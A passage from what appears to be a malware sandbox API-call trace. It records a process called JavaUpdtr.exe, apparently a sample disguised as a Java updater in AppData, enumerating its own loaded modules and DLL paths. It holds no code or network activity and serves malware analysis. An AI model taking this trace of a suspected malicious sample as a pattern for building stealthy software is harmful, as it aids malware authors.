lpBaseName="WindowsCodecs.dll") returned 0x11 [0115.772] GetLastError () returned 0x7f [0115.773] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0115.773] GetLastError () returned 0x7f [0115.773] GetModuleInformation (in: hProcess=0x200, hModule=0x75700000, lpmodinfo=0x2775278, cb=0xc | out: lpmodinfo=0x2775278*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0115.774] GetLastError () returned 0x7f [0115.774] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0115.774] GetLastError () returned 0x7f [0115.775] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0115.787] GetLastError () returned 0x7f [0115.787] CloseHandle (hObject=0x200) returned 1 [0115.787] GetLastError () returned 0x7f [0115.815] GetCurrentProcessId () returned 0x4e8 [0115.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e8) returned 0x200 [0115.815] GetLastError () returned 0x7f [0115.815] EnumProcessModules (in: hProcess=0x200, lphModule=0x27ec930, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x27ec930, lpcbNeeded=0x31c9a8) returned 1 [0115.816] GetLastError () returned 0x7f [0115.816] GetModuleInformation (in: hProcess=0x200, hModule=0xd40000, lpmodinfo=0x27eca70, cb=0xc | out: lpmodinfo=0x27eca70*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0115.816] GetLastError () returned 0x7f [0115.816] GetModuleBaseNameW (in: hProcess=0x200, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0115.816] GetLastError () returned 0x7f [0115.816] GetModuleFileNameExW (in: hProcess=0x200, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0115.817] GetLastError () returned 0x7f [0115.817] GetModuleInformation (in: hProcess=0x200, hModule=0x77ac0000, lpmodinfo=0x27edbd4, cb=0xc | out: lpmodinfo=0x27edbd4*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0115.817] GetLastError () returned 0x7f [0115.817] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0115.817] GetLastError () returned 0x7f [0115.817] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0115.817] GetLastError () returned 0x7f [0115.817] GetModuleInformation (in: hProcess=0x200, hModule=0x73cc0000, lpmodinfo=0x27eecc8, cb=0xc | out: lpmodinfo=0x27eecc8*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0115.818] GetLastError () returned 0x7f [0115.818] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0115.818] GetLastError () returned 0x7f [0115.818] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0115.818] GetLastError () returned 0x7f [0115.818] GetModuleInformation (in: hProcess=0x200, hModule=0x75930000, lpmodinfo=0x27efdc4, cb=0xc | out: lpmodinfo=0x27efdc4*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0115.818] GetLastError () returned 0x7f [0115.819] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0115.819] GetLastError () returned 0x7f [0115.819] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0115.819] GetLastError () returned 0x7f [0115.819] GetModuleInformation (in: hProcess=0x200, hModule=0x77670000, lpmodinfo=0x27f0ec8, cb=0xc | out: lpmodinfo=0x27f0ec8*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0115.819] GetLastError () returned 0x7f [0115.819] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0115.820] GetLastError () returned 0x7f [0115.820] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0115.820] GetLastError () returned 0x7f [0115.820] GetModuleInformation (in: hProcess=0x200, hModule=0x75db0000, lpmodinfo=0x27f2004, cb=0xc | out: lpmodinfo=0x27f2004*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0115.820] GetLastError () returned 0x7f [0115.821] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0115.821] GetLastError () returned 0x7f [0115.821] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0115.821] GetLastError () returned 0x7f [0115.821] GetModuleInformation (in: hProcess=0x200, hModule=0x76d40000, lpmodinfo=0x27f3108, cb=0xc | out: lpmodinfo=0x27f3108*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0115.821] GetLastError () returned 0x7f [0115.821] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0115.822] GetLastError () returned 0x7f [0115.822] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0115.822] GetLastError () returned 0x7f [0115.822] GetModuleInformation (in: hProcess=0x200, hModule=0x76ec0000, lpmodinfo=0x27f4204, cb=0xc | out: lpmodinfo=0x27f4204*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0115.822] GetLastError () returned 0x7f [0115.822] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0115.823] GetLastError () returned 0x7f [0115.823] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0115.823] GetLastError () returned 0x7f [0115.823] GetModuleInformation (in: hProcess=0x200, hModule=0x75e50000, lpmodinfo=0x27f5300, cb=0xc | out: lpmodinfo=0x27f5300*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0115.823] GetLastError () returned 0x7f [0115.823] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0115.824] GetLastError () returned 0x7f [0115.827] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0115.827] GetLastError () returned 0x7f [0115.828] GetModuleInformation (in: hProcess=0x200, hModule=0x75620000, lpmodinfo=0x27f644c, cb=0xc | out: lpmodinfo=0x27f644c*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0115.828] GetLastError () returned 0x7f [0115.828] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0115.828] GetLastError () returned 0x7f [0115.828] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0115.828] GetLastError () returned 0x7f [0115.829] GetModuleInformation (in: hProcess=0x200, hModule=0x75610000, lpmodinfo=0x27f7548, cb=0xc | out: lpmodinfo=0x27f7548*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0115.829] GetLastError () returned 0x7f [0115.829] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0115.829] GetLastError () returned 0x7f [0115.829] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0115.830] GetLastError () returned 0x7f [0115.830] GetModuleInformation (in: hProcess=0x200, hModule=0x737a0000, lpmodinfo=0x27f864c, cb=0xc | out: lpmodinfo=0x27f864c*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0115.830] GetLastError () returned 0x7f [0115.830] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0115.830] GetLastError () returned 0x7f [0115.831] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0115.831] GetLastError () returned 0x7f [0115.831] GetModuleInformation (in: hProcess=0x200, hModule=0x75ba0000, lpmodinfo=0x27f9784, cb=0xc | out: lpmodinfo=0x27f9784*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0115.831] GetLastError () returned 0x7f [0115.831] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0115.832] GetLastError () returned 0x7f [0115.832] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0115.832] GetLastError () returned 0x7f [0115.832] GetModuleInformation (in: hProcess=0x200, hModule=0x75c40000, lpmodinfo=0x27fa880, cb=0xc | out: lpmodinfo=0x27fa880*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0115.832] GetLastError () returned 0x7f [0115.833] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0115.833] GetLastError () returned 0x7f [0115.833] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0115.833] GetLastError () returned 0x7f [0115.833] GetModuleInformation (in: hProcess=0x200, hModule=0x75a40000, lpmodinfo=0x27fb974, cb=0xc | out: lpmodinfo=0x27fb974*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0115.834] GetLastError () returned 0x7f [0115.834] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0115.834] GetLastError () returned 0x7f [0115.834] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0115.835] GetLastError () returned 0x7f [0115.835] GetModuleInformation (in: hProcess=0x200, hModule=0x75c00000, lpmodinfo=0x27fca70, cb=0xc | out: lpmodinfo=0x27fca70*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0115.835] GetLastError () returned 0x7f [0115.835] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0115.835] GetLastError () returned 0x7f [0115.835] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0115.836] GetLastError () returned 0x7f [0115.836] GetModuleInformation (in: hProcess=0x200, hModule=0x76ee0000, lpmodinfo=0x27fdb5c, cb=0xc | out: lpmodinfo=0x27fdb5c*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0115.836] GetLastError () returned 0x7f [0115.836] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0115.837] GetLastError () returned 0x7f [0115.837] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0115.837] GetLastError () returned 0x7f [0115.837] GetModuleInformation (in: hProcess=0x200, hModule=0x758d0000, lpmodinfo=0x27fece0, cb=0xc | out: lpmodinfo=0x27fece0*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0115.838] GetLastError () returned 0x7f [0115.838] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0115.838] GetLastError () returned 0x7f [0115.838] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0115.838] GetLastError () returned 0x7f [0115.839] GetModuleInformation (in: hProcess=0x200, hModule=0x76df0000, lpmodinfo=0x27ffdd4, cb=0xc | out: lpmodinfo=0x27ffdd4*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0115.839] GetLastError () returned 0x7f [0115.839] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0115.839] GetLastError () returned 0x7f [0115.840] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0115.840] GetLastError () returned 0x7f [0115.840] GetModuleInformation (in: hProcess=0x200, hModule=0x75430000, lpmodinfo=0x2800ec8, cb=0xc | out: lpmodinfo=0x2800ec8*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0115.840] GetLastError () returned 0x7f [0115.840] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75430000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0115.841] GetLastError () returned 0x7f [0115.841] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0115.841] GetLastError () returned 0x7f [0115.841] GetModuleInformation (in: hProcess=0x200, hModule=0x749d0000, lpmodinfo=0x2801fc4, cb=0xc | out: lpmodinfo=0x2801fc4*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0115.842] GetLastError () returned 0x7f [0115.842] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0115.843] GetLastError () returned 0x7f [0115.843] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0115.843] GetLastError () returned 0x7f [0115.843] GetModuleInformation (in: hProcess=0x200, hModule=0x75390000, lpmodinfo=0x28030fc, cb=0xc | out: lpmodinfo=0x28030fc*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0115.844] GetLastError () returned 0x7f [0115.844] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0115.844] GetLastError () returned 0x7f [0115.844] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0115.845] GetLastError () returned 0x7f [0115.845] GetModuleInformation (in: hProcess=0x200, hModule=0x75f40000, lpmodinfo=0x2804290, cb=0xc | out: lpmodinfo=0x2804290*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0115.845] GetLastError () returned 0x7f [0115.845] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0115.846] GetLastError () returned 0x7f [0115.846] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0115.846] GetLastError () returned 0x7f [0115.846] GetModuleInformation (in: hProcess=0x200, hModule=0x75770000, lpmodinfo=0x280538c, cb=0xc | out: lpmodinfo=0x280538c*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0115.847] GetLastError () returned 0x7f [0115.847] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0115.847] GetLastError () returned 0x7f [0115.847] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0115.848] GetLastError () returned 0x7f [0115.848] GetModuleInformation (in: hProcess=0x200, hModule=0x75290000, lpmodinfo=0x2806480, cb=0xc | out: lpmodinfo=0x2806480*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0115.848] GetLastError () returned 0x7f [0115.848] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0115.849] GetLastError () returned 0x7f [0115.849] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0115.849] GetLastError () returned 0x7f [0115.850] GetModuleInformation (in: hProcess=0x200, hModule=0x72ac0000, lpmodinfo=0x280757c, cb=0xc | out: lpmodinfo=0x280757c*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0115.850] GetLastError () returned 0x7f [0115.850] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0115.851] GetLastError () returned 0x7f [0115.851] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0115.851] GetLastError () returned 0x7f [0115.851] GetModuleInformation (in: hProcess=0x200, hModule=0x75440000, lpmodinfo=0x2808714, cb=0xc | out: lpmodinfo=0x2808714*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0115.852] GetLastError () returned 0x7f [0115.852] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0115.852] GetLastError () returned 0x7f [0115.852] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0115.853] GetLastError () returned 0x7f [0115.853] GetModuleInformation (in: hProcess=0x200, hModule=0x75230000, lpmodinfo=0x2809810, cb=0xc | out: lpmodinfo=0x2809810*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0115.853] GetLastError () returned 0x7f [0115.854] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0115.854] GetLastError () returned 0x7f [0115.854] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0115.855] GetLastError () returned 0x7f [0115.855] GetModuleInformation (in: hProcess=0x200, hModule=0x72320000, lpmodinfo=0x280a948, cb=0xc | out: lpmodinfo=0x280a948*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0115.855] GetLastError () returned 0x7f [0115.855] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0115.856] GetLastError () returned 0x7f [0115.856] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0115.856] GetLastError () returned 0x7f [0115.857] GetModuleInformation (in: hProcess=0x200, hModule=0x750a0000, lpmodinfo=0x280bad4, cb=0xc | out: lpmodinfo=0x280bad4*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0115.857] GetLastError () returned 0x7f [0115.857] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0115.858] GetLastError () returned 0x7f [0115.858] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0115.858] GetLastError () returned 0x7f [0115.858] GetModuleInformation (in: hProcess=0x200, hModule=0x74830000, lpmodinfo=0x280cc90, cb=0xc | out: lpmodinfo=0x280cc90*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0115.859] GetLastError () returned 0x7f [0115.859] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0115.859] GetLastError () returned 0x7f [0115.860] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0115.860] GetLastError () returned 0x7f [0115.860] GetModuleInformation (in: hProcess=0x200, hModule=0x746a0000, lpmodinfo=0x280de74, cb=0xc | out: lpmodinfo=0x280de74*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0115.861] GetLastError () returned 0x7f [0115.861] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0115.861] GetLastError () returned 0x7f [0115.861] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0115.862] GetLastError () returned 0x7f [0115.862] GetModuleInformation (in: hProcess=0x200, hModule=0x74fa0000, lpmodinfo=0x280f014, cb=0xc | out: lpmodinfo=0x280f014*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0115.863] GetLastError () returned 0x7f [0115.863] GetModuleBaseNameW (in: hProcess=0x200, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0115.863] GetLastError () returned 0x7f [0115.863] GetModuleFileNameExW (in: hProcess=0x200, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: 